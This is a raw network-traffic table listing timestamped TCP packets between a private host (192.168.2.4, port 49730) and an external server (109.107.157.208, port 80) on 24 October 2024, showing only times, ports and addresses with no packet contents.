Oct 24, 2024 13:27:01.576364994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.576374054 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.576399088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.576409101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.576432943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.576442003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.576467037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.576473951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.576508045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.577116013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.577148914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.577167034 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.577183008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.577189922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.577217102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.577224970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.577249050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.577258110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.577282906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.577291012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.577316999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.577325106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.577351093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.577361107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.577393055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.577991009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.578025103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.578035116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.578058958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.578067064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.578103065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.578418970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.578454018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.578463078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.578486919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.578495026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.578521967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.578527927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.578555107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.578562975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.578588963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.578596115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.578623056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.578630924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.578658104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.578665972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.578701973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.579200983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.579242945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.579291105 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.579338074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.579344988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.579379082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.579413891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.579413891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.579437017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.579447031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.579473972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.579483032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.579510927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.579518080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.579545975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.579587936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.580086946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.580142975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.677140951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677191019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677227974 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677263975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677299023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677329063 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677361965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677397013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677432060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677467108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.677467108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.677526951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677539110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.677571058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677608013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677665949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677696943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677730083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677763939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677797079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677809000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.677833080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.677870989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.677908897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.678462982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.678514957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.678529024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.678555012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.678563118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.678589106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.678602934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.678627968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.678641081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.678666115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.678685904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.678705931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.678714991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.678744078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.678750992 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.678792953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.679423094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.679474115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.679486990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.679514885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.679522038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.679552078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.679569960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.679590940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.679599047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.679629087 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.679636002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.679665089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.679677963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.679703951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.679714918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.679765940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.680058002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.680093050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.680128098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.680135965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.680155993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.680162907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.680174112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.680197954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.680208921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.680233955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.680241108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.680268049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.680277109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.680303097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.680310965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.680346966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.681021929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.681057930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.681083918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.681090117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.681102991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.681123972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.681132078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.681159019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.681175947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.681194067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.681214094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.681227922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.681237936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.681274891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.681286097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.681308985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.681319952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.681358099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.681866884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.681904078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.681921005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.681937933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.681948900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.681972027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.681979895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.682019949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.683424950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.683480024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.683486938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.683515072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.683526993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.683562994 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.683650970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.683665991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.683681965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.683696985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.683697939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.683715105 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.683725119 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.683767080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.684143066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684159040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684175014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684190035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684195042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.684206963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684222937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684237003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.684237957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684279919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.684768915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684782982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684798956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684814930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684820890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.684830904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684847116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684859037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.684864998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.684895039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.684919119 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.685434103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.685456991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.685472012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.685487032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.685497999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.685503006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.685518980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.685518980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.685534954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.685549974 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.685555935 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.685564995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.685581923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.685607910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.686161995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.686177969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.686192989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.686208963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.686216116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.686224937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.686238050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.686240911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.686258078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.686273098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.686278105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.686290026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.686300993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.686304092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.686338902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.687163115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.687179089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.687194109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.687210083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.687220097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.687226057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.687242031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.687252998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.687257051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.687273979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.687289000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.687294960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.687305927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.687328100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.687357903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.688090086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.688107014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.688122034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.688138008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.688143015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.688153028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.688169956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.688183069 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.688184023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.688200951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.688218117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.688225031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.688234091 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.688250065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.688286066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.689026117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.689043999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.689059019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.689074039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.689084053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.689090014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.689105988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.689116001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.689121962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.689136982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.689152002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.689157009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.689168930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.689179897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.689215899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.689981937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.689999104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.690013885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.690028906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.690035105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.690045118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.690061092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.690076113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.690076113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.690093040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.690109015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.690115929 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.690126896 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.690141916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.690376043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.690944910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.690962076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.690977097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.690994024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.690996885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.691009045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.691025019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.691036940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.691040993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.691056013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.691071987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.691076040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.691088915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.691102028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.691138029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.691916943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.691934109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.691948891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.691965103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.691979885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.691997051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692012072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692028046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692044020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692061901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692097902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.692097902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.692097902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.692097902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.692147970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.692847967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692866087 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692881107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692895889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692909002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.692912102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692929029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692944050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692945004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.692960024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692976952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.692980051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.693006039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.693008900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.693031073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.693068981 CEST	49730	80	192.168.2.4	109.107.157.208
